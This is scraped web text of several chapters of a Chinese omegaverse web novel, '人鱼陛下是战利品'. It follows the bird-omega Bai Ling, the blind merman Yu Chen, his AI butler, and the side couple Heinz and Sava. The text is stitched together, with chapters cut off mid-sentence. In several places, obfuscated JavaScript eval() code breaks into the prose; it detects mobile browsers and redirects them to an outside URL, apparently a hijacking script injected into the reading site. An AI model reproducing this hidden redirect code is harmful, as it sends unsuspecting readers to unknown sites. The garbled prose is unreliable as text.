AI挂断通讯,有些摸不着头脑:“主人的心情怎么瞬间就变好,真是见鬼了。” · AI带着白翎去它所谓的“家”拿电池。 白翎知道,有些高级嫔妃是有资格养机械管家的,所以他并不奇怪有AI跑来跑去。 但当他们坐上电梯,直达高层,白翎逐渐察觉出不对味来。 据他所知,顶层之上属于禁区,并没有嫔妃居住。难道……这是传说中的冷宫? 越往里走,他就越笃定。 跨过一道封闭厚重的电子门,门厅装饰典雅,处处透着旧时代的航海风格——但从脱落的墙皮看得出来,装修上了年头,甚至有些失修。 蓝绿色墙壁上,挂着小鸟指南针,下面是仿船头形状的木质角柜,都带着 5. 好大好多汁 《人鱼陛下是战利品》全本免费阅读 “今晚还征用腹肌吗?” 这话既是挑明身份,又是逗引打趣儿。 白翎下意识摸了摸口袋,脱口而出:“今天没带饼干。” 这意思是——如果有饼干的话,还想再来一次。郁沉听着,不觉地笑了一笑,真是胆大的鸟儿。 另一边,AI管家倒吸一口冷却液。它就说,主人之前从哪弄来的廉价饼干。竟然是这个…… 这个小鸟牌家用机器人的推销手段! 主人都收人家饼干了,还邀请摸腹肌,按照人类世界的思维,四舍五入那就是暗示,是想要。 AI摄像头闪过一道光。主人,包在我身上了。 它一个滑行,拽着白翎躲到外面。门关上,它神神秘秘地说:“兄弟,原来你是干这种工作的,早说啊。我们主人挺……欣赏你,我想问一下你的基本信息,可以不?” 白翎一愣:“什么样的信息?” AI掰着钳子算:“身上有没有合约?使用次数?年限?” 一般来说,家用性机器人会由公司派出,但也有仿生人自己出来单干的。 后者这类,通常外观更精美,功能更丰富,当然要价也更高。毕竟漂亮的脸蛋和软质填充材料都价格不菲,成本要高许多的。 再看面前,这只“仿生人”容貌冷冽清艳,白毛灰眸的配色,给人一种高级的无机质感。看脸,应该出自于哪位业界设计大师之手,相当漂亮。 只不过,他的身体有严重缺陷—— 右腿从膝盖上5厘米处整齐截断。这么严重的损坏,居然没有进行修补,只装了义肢了事,看起来倒像是受了虐待跑出来的私人用品。 如果他有合约在身,主人就不能租用他。 所以,得打听清楚。 “合约?”白翎想了想,自己还没去机甲社团报道,“目前还是自由身。” 至于使用次数和年限……机器人想问的,应该是繁殖次数和年龄吧? 他还处于一段分化期,尚未进入二段,次数显然为0。 转过思绪,白翎使用了一种机械能听懂的说法: “‘年限’是19岁,使用次数,应该算‘没拆封’。你问这个,是想了解清楚然后找我帮忙吗?” 白翎并不觉得这些问题奇怪。 前世他专干二手航母回收与维修,经常和一些不够智能的小机器人打交道。那些人工智障的问题,更加没头没脑。所以,他自然而然就想到,对方是不是想找自己帮忙维修之类的。 AI神神秘秘压低声:“没错~帮你推广业务,你懂的。” 白翎点头,他懂了——真是要找他维修。 转眸看到走廊,贵气倒是挺贵气,就是灯光昏暗,电线裸露,一看就是年久失修的样子。再联想到里面那具精干且完全不符合暴君审美的躯体,他合理得出结论: 原来是被废的宠妃,想找我拧个灯泡。 等等……这剧情怎么有点怪异? 简直像趁着暴君不在,偷偷摸摸泡他的omega一样。 想到这,白翎反而犹豫了。他初来乍到,又顶着假身份行走,这么节外生枝恐怕会招来事端。 总是,还是先拒绝吧。 正要开口,AI忽然看了眼消息,惊讶地说:“诶,主人说,想邀请你留下来吃饭。” 一说吃饭,白翎立即响应程序,“什么饭?” AI字正腔圆,带着迷之微笑:“肉。” · 听说要吃肉,白翎其实没抱太大希望。 这些年,在暴君凯德不懈的努力下,帝国通货膨胀履创新高,一路奋起直追津巴布韦币。物价飞涨下,寻常人家想吃个瓜果蔬菜,都得掂量掂量存款。至于新鲜肉类,更是想都别想。 所以,白翎估摸着,男人能请他吃的“肉”,肯定是人造肉。 不过有就不错了。 此刻,花纹典雅的桌布上叠放着绣金盘子,里面端放着一块厚厚的肉排。美拉德反应让它呈现出完美的焦褐色。 白翎切一小块放进嘴里,入口的瞬间,肉汁在牙尖疯涌爆开,迷迭香和油脂的乳香肆意流淌,似乎在得意宣告—— 它是新鲜的,是真的肉,绝不是用淀粉充的人造肉。 狼吞虎咽地吞下去,才是对它最大的尊重! 反应过来时,盘子里的牛排已经去了大半。白翎默默垂下眼,强忍着食欲强迫自己放下叉子。 不能再吃了。好东西,得留起来慢慢吃。 这是他从小养成的习惯。 偷瞄一眼座首的男人,知道对方看不见,白翎不动声色将肉裹紧餐布,悄悄塞进口袋,准备带走。 欧式胡桃木长桌上,郁沉听到轻微的衣料摩擦声,小omega的呼吸声,莫名变得谨慎且轻。他便稍微倾身,礼貌地问: “还合胃口吗?” 他不知道,自己珍珠色真丝衬衣领口微敞,这个角度,能让白翎看光光。 白翎下意识答:“好大。” 胸肌。 郁沉意外地扬起眉毛,“嗯?” 白翎:“……” 白翎强调:“牛肉又大又多汁,谢谢您的款待。” 一连串机械而快速的回答,成功达到欲盖拟彰的效果。郁沉从容端起酒杯,轻抿一口,不经意地说: “不用谢。话说,那块饼干是你一周的口粮吧。” 暴君好细腰,皇宫里不给吃饱饭——这早就不是什么新闻。 有家人关照的,都会从外面弄吃的进来。只有无人照拂的孤儿,才会穷困地啃着干巴巴的压缩饼干。 白翎抿紧了唇,没有立即回答。 他不愿意承认,这是他重生以来吃的第一顿饱饭。甚至如果算上前世最后一段潦倒时日,这应该是他三年来第一次吃到牛肉。 对骨瘦嶙峋的猛禽来说,实在是雪中送炭。 但或许是自尊心作祟,他表面淡定地撒谎: “一周的口粮,倒是谈不上,零食罢了。我刚来帝都星,家人还没来探望,等过段时间父母不忙了,就会送食物给我。” 听到这里,郁沉不置可否,只是露出趣味的笑容:“你是哪一族的小鸟?” 白翎:“大山雀亚种,黑背白腹毛,住在科罗星,人类形态发色是白色。” 大山雀主食吃虫,也会捕食小麻雀,和吃肉的属性并不矛盾。 这回答滴水不漏。 郁沉低笑:“柔弱断腿的羽毛球,也想刺杀伊苏帕莱索?” 柔弱,羽毛球,每个词都带着轻视。 话音刚落,郁沉感觉靠着的椅背被猛得一拽,下一秒长腿跨坐上来。他喉结一凉,雪亮的餐刀已经比在喉间,刀面微斜,映出一双严酷冰冷的灰眼。 “这样够吗?”白翎声线寒冷。 郁沉顺着他的手劲,微微昂脖子,声调依旧淡雅:“‘大山雀’,我怎么没听说,你们这种小雀的攻击性,比鹰还强?” 白翎危险眯起眼,正要问对方到底想干嘛,却瞬间顿住。 这男人,竟然把喉咙前的尖刀视若无物,压着刀刃,寸寸前倾身体,以至逼得坐在他腿上的白翎,不得不被迫后撤。 白翎本想用姿势钳制他,却被他倒逼回来。 如雕塑般的象牙色脖颈间,压出一条细细血线。那颜色鲜红堪比魔鬼的舌尖,隔着距离,舔舐得人眼球湿烫。 郁沉神态自若,白翎逐渐呼吸紧张。那是一种被主动进攻,反被顶级掠食者越级碾压的窒息感。 嶙峋的指骨原本扣紧餐刀,现在却不自觉地指尖微抖。 他下不去手。 灿海波涛般的金发呼吸可触,被自己吻过的脸颊也近在咫尺,白翎气息微乱,完全未意识到自己吸入多少信息素。他紧绷地往后一退,后腰骤然重重撞在桌沿,痛! “啊……”白翎瞬间痛得弓起身子。 他下意识去摸,一只修长的大手却接管了他的后腰。先是试探轻柔,再收紧手臂往前一带,随着动作,白翎怔愕地撞进那片柔软金海,扑在他的肩膀—— 一下子从呼吸艰难的地狱,坠入温柔天堂。 “撒谎的小骗子。”那低音贴着耳廓震动,让人心都跟着颤起。 白翎咬着牙,冷声,“我没有撒谎。” “没有?” 发丝撩过白翎脸颊,心跳无端快了几分。男人低身在他口袋摸了摸,掏出什么,反手往餐盘里一扔,问他: “没有,那这是什么?” 半块牛肉滚落而出,狼狈蜷在盘子角落,仿佛被一则犯罪证据。 郁沉缓慢问:“这就是你流浪时学的陋习吗?” 居高临下,带着淡淡的谴责。 陋习。 比起曾经听过的无数肮脏鄙夷,这两个字根本无关痛痒。可由这个刚才还施展善意的人说出口,白翎的心脏,控制不住地深深刺痛一下。 奋力 6. 主人的命令 《人鱼陛下是战利品》全本免费阅读 吃了重生以来第一顿饱饭,白翎回到宿舍,难得睡了几天好觉。早起时伸个懒腰,感觉精力都恢复许多。 果然还是吃肉有力量。 诺思眼睛毒:“又去找你的金发大波浪朋友了吗?” 白翎边刷牙边含糊:“唔。” 诺思若有所思:“金发O,看起来血统很高贵啊,对方是什么种族?” 种族?白翎这个倒是没问。他只知道,对方多半是个住在冷宫里的妃嫔,看起来二十七八岁的样子。 至于为什么笃定对方是O——当然是因为,禁制环没有响。要是对方是A装O,几次三番带着邪念来抱他,那报警器绝对哔哔哔响个不停了。 诺思听完解释,却微妙道:“可这是皇宫诶,鸟鸟,普通A确实戴着禁制环,但法律规定,皇帝可以不用戴的。” 白翎毫不在意:“我认得暴君,他不是金发。” 诺思内心:……我也没说一定就是现任哦。比如,前朝的人鱼皇室就是清一色的金发,你见到的说不定是老皇帝……的鬼魂呢。 当然,这种胡思乱想说了也没人信。 诺思看着他洗漱完毕,特意换上最好的那件衬衣,准备出门。诺思奇道: “今天周六,又不用上O德课,你去哪哇?” “帮朋友修东西。” 皇宫塔顶层,移门滑开,小机器人高兴地出来迎接,一边接过白翎从杂物间顺的小工具箱,一边镜头切换成两道小彩虹: “你今天来得好早。” 白翎笑了下,摸摸它的铁疙瘩脑袋。 AI便带着他在宫殿里转了转。它悄悄转动摄像头,观察着机械小鸟,自从前几天来这里换上电池后,小鸟走路终于利索许多,不再走两步歪一下,连带着脊背也挺了。 “这里还挺大?”白翎探头探脑看着,转过一个房间,进到另一道走廊,顺着木质的环形楼梯一路往上。阳光从窗格撒进来,照得他脚踝暖暖的。 木梯,木踢脚线,木柜子和窗门……或许有些过时,却给人一种温温沉沉的条理感。角落放着整套的模拟星球仪,窗下有一则细脚桌,上面摆着一些陶瓷烧制的花草动物,小玩意不贵,贵在主人的情趣。 白翎伸手想按亮水晶灯,却耳边一炸,听到“噗嗤”一声响。 ……电线烧断。 AI见怪不怪:“这是第六盏了。” 白翎轻轻叹了声气,果然,设施老化的问题随处可见,机电装置甚至是上个世纪的老古董。 难怪这对主仆困扰,这些玩意早就没人会修了。 但他恰好会。 白翎边走边把检查到的问题一一写进列表。恍然间,居然找回了几分上辈子日常检修星间航母的感觉。 转完一圈后,这种感觉更加强烈,仔细一想,好像各个房间里都没有智能化的家用电器。 对此,小机器人解释道: “这个啊,因为主人需要静养,不喜欢听到乱七八糟的电磁声。” 白翎心口一跳:“他生病了?很严重吗?” 怪不得今天没见到人。 AI点头:“和我们机械的线路老化差不多,算是老毛病了,严重的时候经常会昏迷好几天呢。” 病得这么重吗……怪不得上次被他挟持,都无力反抗。 白翎低眸抿了抿唇,没有说话。 AI观察出他脸上的担忧,连忙安慰:“但他平时运动量很够的哦,不会半途抛锚的。” 白翎:“半途?” AI顺势热情提供机会:“主人在卧室睡觉,你要不要去看看?” “……还是不了。”白翎犹豫半晌,说道:“请他好好休息吧,我隔日再来。” 白翎正准备离开,扫地机器人却把他叫到厨房,把早就准备好的牛肉干塞过来。 “这是主人的命令。他还说,”AI专门模仿了一下郁沉的语气,把音效调成环绕式低音: “要好好吃光。” 白翎愣了愣,抿直了唇,试图藏起嘴角的弧度。 他有点喜欢这样的小命令。 白翎收起牛肉干,余光一顿,转头看向旁边的纸箱,里面有一条铂灰色的西裤——是那天被他义肢机油弄脏的裤子。 褐黄色污渍蜿蜒而下,显然是洗不干净了。 AI顺着他目光看去:“噢,那是等会要扔掉的垃圾。” 白翎果断走过去,把西裤抱在怀里:“能把这个给我吗?” AI下意识想提醒,omega过度接触主人那种级别的信息素,会被刺激到下蛋的。但它转过cpu来,想起对方只是仿生omega,就爽快答应: “送你了。” 与此同时,在卧室自带的书房里,传出终端通讯的对话声。 其中一道显得尤为恭敬:“日安,YourMajesty。” “乌利尔,有件东西需要你送过来。” 即使隔着网线,乌利尔仍然手持着终端,保持躬身行礼:“请您吩咐。” “我需要一条光标脚镣。”缓慢且斟酌地说。 “脚镣?”乌利尔惊讶地重复,还以为自己听错了。 光标脚镣又称电击脚链,不同于显示身份id,规避AO接触的官方禁制手环,它内置30毫安电流,通常用来控制狂暴失去理智的alpha。 在上世纪,伊苏帕莱索统治时期,易感期内的alpha均被强制要求佩戴脚镣,以免对omega造成标记伤害。 但是随着近十年来新帝国对alpha主导地位的强调,早就没有人愿意戴上脚镣,约束自我了。 乌利尔小心翼翼地猜测:“是不是……您的情况又恶化了?” 郁沉手指轻敲桌面:“与那个无关。” 乌利尔试探问:“那为什么……?” 电话里忽然停下了敲指声,乌利尔的心瞬间悬起,可那边却轻笑了声,说道: “有个分化期的小朋友要来做客。” 乌利尔缓缓呼出气,恢复了平时的口吻: “小朋友?您这是终于碰上可口的食物了吗?可喜可贺!他长什么样?是什么血统?啊啊对不住我不该打听皇叔的隐私,咳咳,其实,我刚好也有好消息想告诉您!关于我们的生产线——” 郁沉变换坐姿,露出一点兴趣:“有进展?” “没错!我们找到了新的实验员。不出意外,他今天就会来面试。” · 其实对于小白毛会不会来,乌利尔心里也没把握。毕竟对方当时只是接下名片,又答应周六会去机甲公会看看。 但他有种直觉,小白鸟应该会去。 原因无它——穷。 关于这点,乌利尔还真料中了。晌午,白翎捏着维修单,一边咬着笔盖,一边拧紧眉毛。 按他的估算,光是更换老化的电线,就至少得5000星币。而这笔钱,银行账号被封的他是绝对出不起的。 当然,他可以伸手找大波浪要。但人家都请他吃饭了,自己哪有又吃又拿的道理。还是他出吧。 想到这里,白翎翻出那张被雨淋过的名片。 周末的机甲公会人头攒动,颇有劳务市场的感觉。 实际上,在水禽帝国,开机甲就是一种类似于古早地球“大货车驾驶员”的工作。只不过这路上跑的,换成了天上飞的。 公会里的各大社团也相当于劳务派遣公司,对内训练员工,对外承接各类工作,有且不限于填海造陆,桥梁工程建造,商船护送,私人保镖…… 当然,搞工程建造的一般是低级社团,在3星以下。而商船护送和保镖之类的只能由资质高的4星5星社团承接,以保证雇主的生命安全。 众人纷纷抬头,兴奋地仰望着密密麻麻的招聘启事,想求得入门的机会。 “今天有不少三星社团在招人呢!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但您放心,今后我会保障您的安全。” 郁沉背着他,悄悄柔和了嘴角。 不愧是……他亲手奶大的小鸟。 郁沉忽然放慢脚步,停在半路,他们刚穿过密集的机器人阵队,前方几步远就是那群昏聩的alpha。 郁沉把手中的灯,交到了他的小鸟手里,告诉白翎: “拿好这盏灯,照亮我们前方的路。” 白翎总觉得这句话意义非凡。 可是彼时,他无法向下深挖出更多含义。 他只知道,这一晚,一条人鱼带着战损的他,在黑夜里慢慢前行。 小鸟提着灯,当人鱼的眼睛; 而人鱼背着鸟,成为他的腿。 20. 专属按摩仪 白翎很庆幸,上辈子的磨砺足以让他在重要关头保持理智。 然而经过革兰那个人渣时,他还是抑制不住痉挛了手指,把头偏转向一边,深深埋进郁沉柔软卷曲的金发间。 那是他永远也无法愈合的伤疤。 郁沉似乎察觉到他的不对劲,不动声色将他往上抱了抱,好让小鸟紧绷的心口,贴紧自己温暖宽厚的背。 白翎被他颠得低呼了声,连忙抱住人鱼的臂膀,从那流畅有力的肌体线条里,获得些许安定。 这种感觉新鲜又奇妙。 和哺乳动物不同,在猛禽的世界里,雌性才是那个开拓领地,守护家园的角色,雄性则负责灵活捕猎,供养家庭。因此,omega小鹰们脾性更烈,实力更强,天生就有一股傲视群雄的征服欲。 可白翎在人鱼这里,却生平第一次尝到了被细心保护的感觉。 仿佛融化成幼鸟,重回密实安全的窝巢里…… 白翎在金发织就的“小鸟巢”里困倦地扇了扇睫毛,忽然余光闪过一抹荧蓝,他瞳孔骤然缩成针,手中枪口已经对准楼梯间。 在朦胧虚幻的薄光里,有一道身影向他们行礼。 或者说,向郁沉行礼。 白翎瞥了一眼,那人面容阴冷,邪异,带着海洋软体生物特有的毒性荧光,气息收敛仿佛没有存在感,很可能是个beta。 郁沉径直带着白翎走上楼梯,beta也消失在视野中。 而白翎不知道的是,海因茨默默走出阴影,朝楼上望了一眼,才往剩余的黑暗中做了个手势。 唰唰唰,十几道身影整齐有序地没入走廊,开始收拾残局。 海因茨早已习惯这样失控的局面。站在背景里等待事端结束,接着拿扫帚簸箕出来打扫“AO战场”,已经变成了beta的宿命。 地上是受了严重精神损伤的alpha们。这些人平日里仗着凯德的权势作威作福,现在也如同菜市场的臭鱼烂虾,横七竖八躺成一堆。 海因茨蹲下去逐一检查,发现他们都还活着,由衷感叹了一声“真可惜”。 路过的下属听得汗毛倒竖,背后直冒凉气。 别人说这话可能只是调侃,但放在海因茨嘴里,或许就是死亡通告。原因不为别的,只因为这货是水母—— 一路踩着累累尸骨,爬上暴君近侍的beta。 要知道,这个国家有为数众多的海洋族。古地球气候变暖,海域严重污染,反而造成软体动物的天敌,如海龟、海豹等逐渐灭绝,水母得以大肆泛滥。 这群水母大多实力普通,是缺乏精神力和异能的beta,构成了这颗星球社会生态金字塔的基层。 然而下属却知道,他这个老板有异能,还是后天习得的异能,谁也不知道身为beta是怎么做到的。他只曾经听说过水母群体内部极为恐怖的进化策略,比如污染最大化,比如吞噬同类…… “林鹤。”海因茨冷不丁柔柔叫了下属的名字。 林鹤忍住打寒颤的冲动,检查了下机器人的状态,却震惊了下: “这些电路板应该是瞬间被烧断的,有人刚刚开启了干扰系精神力场,看这个波及范围,等级至少2个S以上。海因茨大人,我们是否需要申请调查?” 海因茨意有所指道:“这次的alpha贵族里也有不少军队任职的双S能力者。” 绝口不提自己刚才遇见了谁。 林鹤恍然道:“双s能力者,那就只有革兰少将。好的我明白了,后续报告我晚些时候会提交给您。” 他看着海因茨摆摆手,自行向锅炉房方向走,却没看到海因茨转过墙角,面色阴冷地摸出一根大头针,狠狠扎在自己后颈。 “唔”,他闷哼一声,指头却往深处摁了摁,让人工腺体扎得更紧实。 这是一种神经传感器,能够模拟s级alpha的嗅觉系统,使没有腺体的beta,也能一尝信息素的芳泽。 虽然beta以“理性至上”作为人生信条,可惭愧地说,是人就会有欲念,有欲念就有需求。这项科技发明的功能有限,甚至显得鸡肋,但暗中一直有一批忠实的beta用户。 因为这群人几乎都和alpha或omega组建了家庭,想借此打破壁垒,和伴侣的生活更加交融。 然而,海因茨是个例外。 海因茨已经失去了伴侣,现在他拥有的,只有恨他入骨的仇人。 唇边扯起一丝自嘲,海因茨贴近锅炉房的大铁门,顺着门柔情抚摸一阵,然后—— 鼻尖挤进缝隙,用力深深呼吸。 他从混杂的信息素中,分辨出一道熟悉的omega味,随之脸上迸发出欣喜,逐渐陶醉…… 与此同时,看守在门边的萨瓦,忽然眯起眼睛,用力嗅了嗅鼻子。 诺思:“怎么了?外面来alpha了吗?” 萨瓦一脸嫌恶:“闻到了一些廉价beta的香水味。我出去看看。” 诺思还未说话,萨瓦已经单手拉开其他人齐心协力推上的门。 众小o们:“……” 这到底是什么怪力猫头鹰啊啊啊! 楼梯间前,海因茨正在指挥下属离开,突然听到背后传来声阴森森的: “喂,蠢货。” 海因茨心尖微麻,调整好笑容,就要转身答应。 突然一阵猛烈的寒风刮到他脸上,他瞬间倒撞在墙上。萨瓦一头槌把他撞得流出鼻血,压抑着从牙缝里挤出怒意:“你这个混蛋怎么没死在外面?” 海因茨抬起手背擦了擦鼻血,笑容柔情似水:“有少爷在家里,我死了也要从坟墓里爬回来找你。少爷,我知道你为我守寡一年,还给我亲手刻了墓碑,我好喜欢,已经命人挖起来,摆在保险柜里了。” 萨瓦:“……你这个死变态!诈死骗我!我恨不得抽你的筋,剥你的皮,把你扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859724|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进泡椒水里做成海蜇生腌!” 海因茨捂住心口,认真道:“我的身心永远是少爷的,能成为少爷的食物,填饱少爷的胃,将是我今生最大的荣幸。” 萨瓦怒不可遏:“滚呐!” “少爷让我的滚的时候,信息素浓度又加强了。” 萨瓦被戳中软处,整只鸟彻底炸毛,势必要和他同归于尽。他磨牙吮血地扑向海因茨,却不想刚打扫过的地面残留着洗洁精,脚下一滑溜,两人直接滚下了楼梯。 千钧一发之际,海因茨激发触手,梗啾的水母触角编织成半透明的头盔,把萨瓦牢牢护在里面。 萨瓦只听到“咚”一声,爬起来才发现,海因茨的额头重重磕到尖角,伤口渗出透明的溶液。 萨瓦脑子嗡得响了,动作快过大脑就把海因茨抱起来,焦急拍他的脸:“喂,蠢货,蠢货,你可别真死了啊。” 海因茨目光涣散,焦距逐渐消失。 萨瓦攥紧他顺直的蓝色长发,低下头混乱吻他的唇,做人工呼吸,期间颤着声咬牙威胁:“死就死吧,死了我也不会原谅你的。” 海因茨悠悠醒转,捂着额头,神情闪过一丝单纯的迷茫:“啊……发生了什么,我好像不记得了。” 萨瓦脸上僵住一瞬。 海因茨:“我失忆了,少爷我们能重新开始吗?” 萨瓦狠狠给他一个大比兜子,用力抹了抹嘴,站起来俯视着他,橘红色眼睛宛如嗜血的死神,一字一句: “现在想起来没?没想起来我再赏你两巴掌。” 海因茨回味着刚才的吻:“少爷这张帅脸,想忘记都难。” 萨瓦恶狠狠骂他“臭骗子”,踹了他两脚转身就走,对付这种海洋牛皮糖,你越是跟他纠缠,他越来劲,丢下放置了反而干脆。 萨瓦走上台阶,深深呼吸顺了顺气,下面却传来一声受伤的大喊: “你进宫是不是想给我戴绿帽来气我?你心里有我,萨瓦!” 萨瓦发出一连串冷笑:“你特么B话还挺多啊,你就是个按摩器,也配有绿帽?” 说完便重重踏着步走了,恨不得把瓷砖都干碎似的。 海因茨在原地呆站了一会,忽然掏出终端,把自己的备注名改成了: 【鸡宝的专属按摩仪】 海因茨给自己傲娇的小母鸡宝贝发消息:喜欢宝送我的新外号。 发就算了,每一则还开着弹窗,弄得萨瓦口袋里疯狂震动。 萨瓦奇怪地拿出来一看,大骂一声“卧槽,这疯批”,然后动动手指,利落把他拉黑。 海因茨又发了一条“少爷的小羽毛竖起来好可爱”。 弹出提示:【您已不是对方的好友……】 海因茨的手指顿了顿,扯了下嘴角,神情落寞地把终端放回口袋。 他自嘲一笑,今后,恐怕要用一辈子来给少爷赎罪了…… 嘛,也不失为一件幸事。 21. 无法无天的雌性 萨瓦在宿舍搜寻一圈,没有找到白翎的踪迹。他心头一紧,急忙掏出终端又是打通讯又是狂发信息。 这臭鸟,不会真被当成战利品扛走了吧,枪里还有九颗子弹,勉强够救他,咕咕冲……! [白翎]:我到朋友这里来了,不用担心。 萨瓦迈出半空的腿骤然收回来,他松了口气,同时不爽地在小群打字: [一拳一个按摩怪]:臭鸟!一声招呼都不打就抛下我们出去鬼混,我还以为你在外面瞎逛,被伊苏帕莱索的鬼魂按倒给吃了。行了去吧去吧,爷会给你留门的。 [白翎]:要按倒也是我按倒他。那老头要真敢出来,我就往他脖子上套个圈,骑着他爆冲个海底两万里。 [海兔兔卷大葱]:?听起来像水上乐园骑充气虎鲸,画面感好强。 [一拳一个按摩怪]:@白翎,大言不惭,你这臭鸟的德性早就被本少爷慧眼如炬看穿了,哼哼,Iamwatchingyou(比眼睛.jpg 白翎扬起眉尾,来了点兴趣,他倒不知道自己在宿敌眼里一直是个什么形象,是精准打击,还是勤劳能干? [白翎]:愿闻其详? [一拳一个按摩怪]:(打开麦克风)(音量最大化)你这臭鸟绝对是那种会和魔鬼签订契约的人,白天在什么神像或者雕塑前虔诚祈祷,晚上就迎接邪神的淫祀,眼里闪着狂热的光,被邪神的毒液浸润得哆哆嗦嗦。第二天若无其事到咱们跟前,看着好像整齐又禁欲,其实谁也看不出你洗得发白的衬衫下面有多少暧昧的痕迹,比如邪神的指纹,或者随便什么精神烙印。你就是这种鸟! [白翎]:……暗夜小母鸡,少熬夜看小说! [海兔兔卷大葱]:@一拳一个按摩怪,V你50,我要看付费内容(排出九文大钱,要一碗茴香鸟鸟) [一拳一个按摩怪]:嗯??等下,你说去朋友那里……你不会大半夜爬墙出去找你监护人亲亲抱抱了吧?(揶揄的目光.jpg [白翎]:想太多了,他是纯血omega。 打完这行字,白翎自己心里忽然咯噔了下。 他抬起头,重新看向镜子里的自己。 这张脸疲倦而苍白,下颌骨瘦得冒尖,唯有脸颊上有点肉,被人鱼的手捏出一抹暧昧的红印子,无端显得气色好了一点。 不对……比起之前成瘾发作那种满眼血丝的焦虑状态,他现在的的确确安泰多了。 至少心跳回归正常速率,手指也不再痉挛,比吃了特效药还立竿见影。 白翎的神情渐渐冷下来。 仔细回想起来,这两天发生的事确实有很多不合理之处。 首先,一个omega为什么要执着于占据他的监护紧急联系位,还一定要删掉其他A,弄得跟求偶期雄竞似的。 其次,回想一下两人的对话,好像那条有恃无恐的人鱼,从来没有正面回应过性别这回事! 而自己居然就这么想当然被对方牵着翅膀尖尖走? 他果然是磕错药上头了。 白翎对alpha厌恶至极,也反感别人藏着掖着打太极隐瞒性别。但对象换成了郁沉,他冷静下来一掂量,觉得还是先观察观察再下定论。 万一人家有什么难以启齿的苦处呢?比如—— [白翎]:他要不是omega,那就只能是阳.痿了。 [一拳一个按摩怪]:阳.痿好哇,上帝给他关上一道门,就会给他开一扇窗,说不定人家进化方向就是口舌灵便。 [海兔兔卷大葱]:?虎狼之词!话说我这儿才显示萨瓦改网名了,一拳一个按摩怪,嘿嘿嘿谁是按摩怪?这肯定是情侣ID吧。 [一拳一个按摩怪]:Noooo,这是死亡通知书。 眼看两人越聊越歪,白翎随手把终端丢在台面,准备脱了衣服去洗澡。 淋浴水热得有点慢,他边慢吞吞解着义肢搭扣,边放任自己胡思乱想。 ——有没有什么简单粗暴的办法,能让伪装的alpha当场显出原形? 白翎慢慢摸着口袋,从里面摸出一只未拆封的抑制棒。 在别人眼里,这可能只是大号棉棒,可一旦吸饱了omega信息素,那就是足以引爆摧毁alpha意志的核.弹! 在实施计划前,白翎瞄了眼AI刻意铺上的防滑垫,目光不禁变得意味深长。 ……这么用心,让他想下狠手都不行啊。 他一边感叹,一边干脆利落掀开垃圾桶盖子,眯着眼瞧了会,决定在这里设下—— 捕鱼陷阱 · 郁沉靠在书房的椅子里小憩了一会。 如他所料,现在解封THEMIS系统尚且勉强,即便只开了20%,也能让他精疲力竭,头痛欲裂。 AI尽职尽责道:“今天的会议我已经代您完成,相关重要内容现在就为您汇报。” 郁沉睁开无焦距的森绿色眸子,反应了两秒,随即迅速回归沉静,缓慢捏着鼻梁骨道:“开三倍速播报吧。” 早点处理完,他还想趁着时间去看看小鸟,解决成瘾的问题。 AI并未表示异议,因为三倍数处理公务,是郁沉长久以来的习惯。 在老帝国与隔壁哺乳动物联邦紧张对峙的那五十年里,巅峰时期的伊苏帕莱索能一个月不停机,甚至能十倍速阅读战报,并瞬间做出完美决策。 这种能力,一度让哺乳动物联邦惊恐万分,以为他们水禽星球已经人工智能飞升,赛博电子皇帝之眼俯瞰宇宙穹光,掌控全世界。 可惜啊,今时不同往日,现在下楼拎个小鸟外卖,都要关起门歇一会。 AI摇摇头,就这,赛博主人还天天梦见仿真小鸟,不是小鸟坠机,就是小鸟流泪。 可是真问起来那只梦里的小鸟到底是谁,长啥样,主人又语焉不详,几乎次次都扶着额角说: “不记得了,我没有视觉,看不清他的脸,只记得他和我约定傍晚见面,但他没有来……” AI想了想,问:“跟送您奶糖的机械小鸟一样吗?” 郁沉想了一下,缓缓道:“他们有相似之处,比如都是腿部残疾人士。但应该不是同一个人,我梦见的那只鸟没有信息素,也不像常来的小朋友那么嚣张跳脱。” 没有信息素,就很可能是beta,光这一点就能排除白翎。 何况鸟类因为中空骨头的脆弱性,截肢的不在少数,更不能以此来判定身份。 郁沉听了一会报告,俱是些名下集团公司的财务变动,也有复辟派的活动轨迹,以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859725|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大量通过内推关系想挤进“七十二魔王柱”这个跨星际秘密政经组织的投诚信。 其中有一份,稍稍引起了他的注意。 AI念道:“中央秘书官海因茨刚刚向我们发送了一份皇宫宴请名单,以及所有参与‘狩猎’的alpha详细背景。此外,他还有一句留言。” “什么留言?” AI模仿海因茨阴郁拿捏的腔调:“或许您需要一个能替您处理脏活的人。” 处理脏活…… 郁沉想起白翎路过那群人时的应激反应,略做思考,随即叩了叩桌面: “找个空闲时间,安排他来见我。” 说完,他便拄着手杖起身。 时间已经快一个小时了,那只小鸟还待在浴室里没有出来? 郁沉怕他昏倒在里面,不禁加快脚步。 来到客房浴室前准备敲门,可是门没有关,他手一推就开了。 